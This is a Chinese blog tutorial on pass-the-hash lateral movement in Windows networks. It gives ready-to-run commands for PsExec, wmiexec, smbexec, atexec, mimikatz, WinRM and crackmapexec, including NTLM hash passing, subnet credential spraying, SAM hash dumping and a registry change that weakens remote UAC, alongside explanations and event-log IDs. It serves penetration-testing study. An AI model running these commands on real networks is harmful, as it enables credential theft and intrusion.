PTH

PTH(pass the hash)也叫做hash传递。在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过NTLM Hash(mimikatz或其他手段抓取到的密码hash)访问远程主机或服务,而不用提供明文密码。因为在Windows中通常会用NTLM进行身份认证,hash值由系统API生成,如果攻击者获得了hash,就能够跳过调用API生成hash的过程,在身份验证的时候模拟该用户。

从winows 2008开始(包括2008),rid不为500的用户,windows都不允许远程连接(包括net use、at、winrm等),所以如果想对目标机远程执行命令,必须使用目标机rid 500的账号(通常为administrator)或域管账号。

PsExec

0x00 PsExec简介

PsExec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具,基于445端口 走SMB协议,NTLM认证。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。PsExec是一个轻量级的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。PsExec最强大的功能就是在远程系统和远程支持工具(如ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

0x01 食用姿势

### 前提条件:开启admin$(映射C:\\Windows目录)且关闭Remote UAC

## 针对远程建立连接的方式有两种,一种先建立IPC通道连接,然后直接使用,操作如下:

# 先net use 连接上IPC
net use \\192.168.0.1\ipc$ "password123!@#" /user:alibaba # 确认是否进入IPC会话
.\PsExec64.exe -accepteula \\ip -s cmd.exe 弹cmd .\PsExec64.exe -accepteula \\ip -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com ## 另一种时在psexec的参数中指定账户密码 操作如下:
.\PsExec64.exe \\192.168.0.1 –u administrator –p password

0x02 执行原理

1.通过ipc$连接,释放psexecsvc.exe到目标
2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug(可在命令行下执行exit退出),所以一般不推荐使用psexec,推荐wmiexec

首先进行TCP三次握手连接目标445端口

通过SMB协议协商使用SMB协议的版本

进行NTLM认证,发送SESSION_SETUP_ANDX协商请求,包括username和pass hash

写入PSEXECSVC.exe文件,远程调用svcctl协议启动psexesvc服务

psexec必须调用svcctl协议,否则psexesvc服务无法启动

0x03 关于PsExec的日志

psexec成功登录退出后,会在目标机器的安全日志中产生Event 4624、4628、4634,在系统日志中产生Event 7045(记录PSEXESVC安装)、Event 7036(记录PSEXESVC服务状态)

0x04 Remote UAC的延展测试

UAC是什么?UAC是微软在Windows Vista 以后版本引入的一种安全机制,可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。那么对于防御是不是不改UAC,保持默认或更高就可以了?并不是,可以改注册表的嘛。

方法二:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem添加新DWORD值,键值:LocalAccountTokenFilterPolicy 为1。

WMI

0x00 WMI简介

WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

使用WMIC横向移动连接远程主机,需要目标主机开放135和445端口。

(135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445端⼝传回显)

WMI相比于PsExec更隐蔽些

0x01 食用姿势

###  远程连接

## 直接使用wmic使用明文密码连接(未利用IPC$)
.\wmiexec.exe admin:admin@192.168.124.165
.\wmiexec.exe 用户名:明文密码@ip ## PTH
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
.\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 // 哈希传递获得shell .\wmiexec.exe -hashes f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 "ipconfig" // 执行命令
.\wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令 -hashes 471991a8c33ff1593f1ad458bdd6f0c5 central.com.br\Administrator "ipconfig"

ps:获取的当前shell权限为此用户权限

smbexec

0x00 smbexec简介

smbexec可以通过文件共享在远程系统中执行命令。

需要开启c$共享,445端口。

0x01 食用姿势

## 在3389或类似于3389环境下
# 明文密码
.\smbexec.exe 用户名:密码@ip
.\smbexec.exe admin:admin@192.168.124.165 # hash
.\smbexec.exe -hashes :NTLMhash 用户名@ip
.\smbexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 ## 在socks环境下
.\smbexec.exe rootkit/用户名:密码@ip
.\smbexec.exe -hashes :NTLMhash rootkit/用户名@ip

ps:这里成功后获得的是system权限 ,所以后面如果环境允许,可以利用smbexec配合cme或者cs拿到system权限的shell或机器。

atexec

0x00 atexec简介

atexec是通过windows计划任务执行远程命令,atexec是一个半交互的工具,即参数中添加需要在远程主机执行的命令,工具执行后即返回命令结果,适用于webshell下,也适用于其他网络环境。

0x01 食用姿势

用法大致与smbexec相同

## 在3389或类似于3389环境下
# 明文密码
.\atexec.exe 用户名:密码@ip
.\atexec.exe admin:admin@192.168.124.165 # hash
.\atexec.exe -hashes :NTLMhash 用户名@ip
.\atexec.exe -hashes :209c6174da490caeb422f3fa5a7ae634 admin@192.168.124.165 ## 在socks环境下
.\atexec.exe rootkit/用户名:密码@ip
.\atexec.exe -hashes :NTLMhash rootkit/用户名@ip

mimikatz

0x01 食用姿势

mimikatz的食用方法有些许奇怪

privilege::debug

sekurlsa::pth /user:admin /domain:workgroup /ntlm:209c6174da490caeb422f3fa5a7ae634
# 传文件
copy <file-path\file> \\ip\ipc$ 或者
copy <file-path\file> \\ip\c$ 或者
copy <file-path\file> \\ip\admin$ # 计划任务
at \\ip 时间 程序名,如:
at \\127.0.0.0 11:00 love.exe

如下图,在新弹出的cmd中net use连接即可,后续可通过copy或at命令进行上线或权限维持。

net use

net use将计算机与网络其他计算机共享资源连接或断开,或者显示关于计算机共享连接的信息,或者切断计算机与共享资源的连接(删除磁盘映射),当不带选项使用本命令时,它会列出计算机的连接。

# 列出所有共享资源
net use # 建立IPC$
net use \\ip\ipc$ "<password>" /user:<username> # 删除IPC$
net use \\ip\ipc$ /delete # 传文件
copy <file-path\file> \\ip\ipc$ 或者
copy <file-path\file> \\ip\c$ 或者
copy <file-path\file> \\ip\admin$ # 计划任务
at \\ip 时间 程序名,如:
at \\127.0.0.1 9:00 calc.exe

WinRM

0x00 WinRM简介

WinRM(Windows Remote Managementd)是windows操作系统的一部分,基于Web服务管理(WS-Management)标准。是一项允许管理员在系统上远程执行管理任务的服务。一般是监听在5985端口(HTTP),HTTPS协议监听在596端口上,默认支持Kerberos和NTLM身份验证。使用此服务需要管理员级别的凭据。

WinRM服务将在Windows Server 2008和更高版本上自动启动(在Windows Vista中,需要手动启动该服务)。

默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。

0x01 搭建WinRM服务

环境:

win 2008 R2 --> WinRM

win7 攻击机

# 将网络连接类型改为“专用” win7的话改为工作网络winrm quickconfig//针对winrm service 进行基础配置winrm e winrm/config/listener//查看winrm service listener:winrm set winrm/config/service/auth @{Basic="true"}//为winrm service 配置authwinrm set winrm/config/service @{AllowUnencrypted="true"}//为winrm service 配置加密方式为允许非加密winrm enumerate winrm/config/listener//winrm service返回信息则启动配置成功# 将目标计算机添加到 TrustedHosts 配置设置,TrustedHosts=”*”代表所有IP都可尝试连接到此计算机的WinRM服务,这里类似于白名单机制。winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts=”*”}# 攻击机和环境靶机都需要处于专用网络或者在域内之后可以netstat -an看一下端口 5985开启就说明正常启动WinRM了

0x02 食用姿势

winrs.exe ,基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令

winrs -? 可以查看帮助,Winrs事件作为Microsoft-Windows-WinRM / Operational(事件ID 91)记录在远程主机上。

常用姿势

# 远程执行命令winrs -r:http://ip:5985 -u:用户名 -p:密码 "ipconfig"# 创建新线程启动calcwinrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://ip:5985 -u:administrator -p:密码winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.124.167:5985 -u:administrator -p:z123456.

不过不知道为什么没弹calc,但是calc的线程是起来了。

crackmapexec

一款强大的内网横向的工具

功能很多 这里只介绍几个常用到的

# 扫描c段445crackmapexec smb 192.168.124.0/24

# 指定单一用户与密码进行c段扫描crackmapexec smb 192.168.124.0/24 -u admin -p admin --pass-pol

带有黄色的"Pwn3d!"意味着我们在这台机器上拥有管理员权限

# 列出当前c段所有可用共享crackmapexec smb 192.168.124.0/24 -u admin -p admin --shares

# PTH,指定hash进行横向crackmapexec smb 192.168.124.0/24 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --pass-pol

# -H和-p参数都可指定文件去批量跑c段(--pass-pol),同理也可跑共享(--shares)crackmapexec smb 192.168.124.0/24 -u ./user.txt -H hash.txt --pass-pol

# winrm同理,只不过没有--pass-pol参数了crackmapexec winrm 192.168.124.0/24 -u user.txt -H hash.txt

# --sam dump主机hashcrackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 --sam

# -x 执行命令,默认使用wmi执行命令(这里可以通过--exec-method参数指定smbexec来获得system权限执行命令)crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami"crackmapexec smb 192.168.124.165 -u admin -H 209c6174da490caeb422f3fa5a7ae634 -x "whoami" --exec-method smbexec

Reference

https://www.anquanke.com/post/id/222746

http://cn0sec.cn/index.php/archives/53/

https://www.cnblogs.com/sup3rman/p/12381874.html

https://ishare.ifeng.com/c/s/7qiKOFLV4ZM

https://cloud.tencent.com/developer/article/1802241

https://www.freebuf.com/articles/system/259632.html

https://www.anquanke.com/post/id/84980

PTH的几种食用姿势的更多相关文章

  1. 【代码审计】后台Getshell的两种常规姿势

    0x00 前言 在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作. 这里结合代码实例介绍白盒Ge ...

  2. SpringBoot 处理异常的几种常见姿势

    SpringBoot 处理异常的几种常见姿势 1. 使用 @ControllerAdvice 和 @ExceptionHandler 处理全局异常 这是目前很常用的一种方式,非常推荐.测试代码中用到了 ...

  3. SpringBoot系列教程web篇Listener四种注册姿势

    java web三要素Filter, Servlet前面分别进行了介绍,接下来我们看一下Listener的相关知识点,本篇博文主要内容为SpringBoot环境下,如何自定义Listener并注册到s ...

  4. (转)解锁MySQL备份恢复的4种正确姿势

    本文根据DBAplus社群第104期线上分享整理而成. 原文:http://dbaplus.cn/news-11-1267-1.html 讲师介绍   冯帅 点融网高级DBA 获有Oracle OCM ...

  5. 肝了两天IntelliJ IDEA 2020,解锁11种新姿势, 真香!!!

    IDEA2020版本正式发布已经有3个月了,当时由于各方面原因(太懒)也没有去尝试新功能.于是这个周末特意去在另一个电脑上下载了最新版的IDEA,并尝试了一下.总的来说呢,体验上明显的提升. 作为一个 ...

  6. Upfile的几种常见姿势

    记录一下文件上传的常见姿势,更全面的可以做upload-labs. 实验环境:win2003 phpstudy 实验平台:upfile 一.准备上传的一句话木马 eval函数将接受的字符串当做代码执行 ...

  7. Unity 的几种打包姿势(android)

    Unity 版本  4.3.2 图片1 1 默认的工程进行打包 得到的apk为8.1m(net subset) 图片2 2 代码剥离最小 – use mirco mscorlib 图片3 3  从网上 ...

  8. 补习系列(7)-springboot 实现拦截的五种姿势

    目录 简介 姿势一.使用 Filter 接口 1. 注册 FilterRegistrationBean 2. @WebFilter 注解 姿势二.HanlderInterceptor 姿势三.@Exc ...

  9. Spring WebFlux, 它是一种异步的, 非阻塞的, 支持背压(Back pressure)机制的Web 开发WebFlux 支持两种编程风(姿)格(势) 使用@Controller这种基于注解

    概述 什么是 Spring WebFlux, 它是一种异步的, 非阻塞的, 支持背压(Back pressure)机制的Web 开发框架. 要深入了解 Spring WebFlux, 首先要了知道 R ...

随机推荐

  1. Day08_40_集合_List

    List集合 List接口是继承Collection接口,所以Collection集合中有的方法,List集合也会继承过来,可以直接使用. All Superinterfaces: Collectio ...

  2. python对BP神经网络实现

    python对BP神经网络实现 一.概念理解 开始之前首先了解一下BP神经网络,BP的英文是back propagationd的意思,它是一种按误差反向传播(简称误差反传)训练的多层前馈网络,其算法称 ...

  3. kubernetes addons之node-problem-detector

    node-problem-detector简介 node-problem-detector的作用是收集k8s集群管理中节点问题,并将其报告给apiserver.它是在每个节点上运行的守护程序.node ...

  4. 3. Linux基本结构与终端打开方法,关闭方法。

    Linux基本机构: 应用程序 标准库 Linux操作系统内核 硬件 (上层依赖于下层) 终端工具: 打开方法: 1.点击图标 2.搜索命令:终端 退出终端: 1.exit<回车> 2.C ...

  5. 限制pyqt5应用程序 只允许打开一次

    起因 pyqt5程序创建桌面快捷方式后,多次单击图标 会打开多个UI界面,这种情况肯定是不允许的! 解决 if __name__ == '__main__': try: app = QtWidgets ...

  6. 从苏宁电器到卡巴斯基第24篇:难忘的三年硕士时光 II

    没办法,还是先打好基础吧 其实在我知道自己面试失败后,第一个想法就是将面试官问我的问题都总结出来,然后通过查权威的资料,找出所有问题的答案,背下所有的答案,大概过一到两个月吧,再面试金山.当时我是这么 ...

  7. 使用 Azure Container Registry 储存镜像

    Azure Container Registry(容器注册表)是基于 Docker Registry 2.0规范的托管专用 Docker 注册表服务. 可以创建和维护 Azure 容器注册表来存储与管 ...

  8. 【vue】报错This dependency was not found

    报错 ERROR Failed to compile with 1 errors 10:33:34 ├F10: PM┤ This dependency was not found: * @/views ...

  9. SpringBoot+MyBatis练手项目笔记汇总

    以下是我在练习SpringBoot+MyBatis训练时候个人一些笔记汇总(可以点击跳转),献丑了,网上很多大佬的文章都比我写的详细,一些好的文章,我会将贴到各个内容中. 1. 插入数据返回id和内部 ...

  10. ThreadLocal不好用?那是你没用对!

    在 Java 中,如果要问哪个类使用简单,但用好最不简单?我想你的脑海中一定会浮现出一次词--"ThreadLocal". ​ 确实如此,ThreadLocal 原本设计是为了解决 ...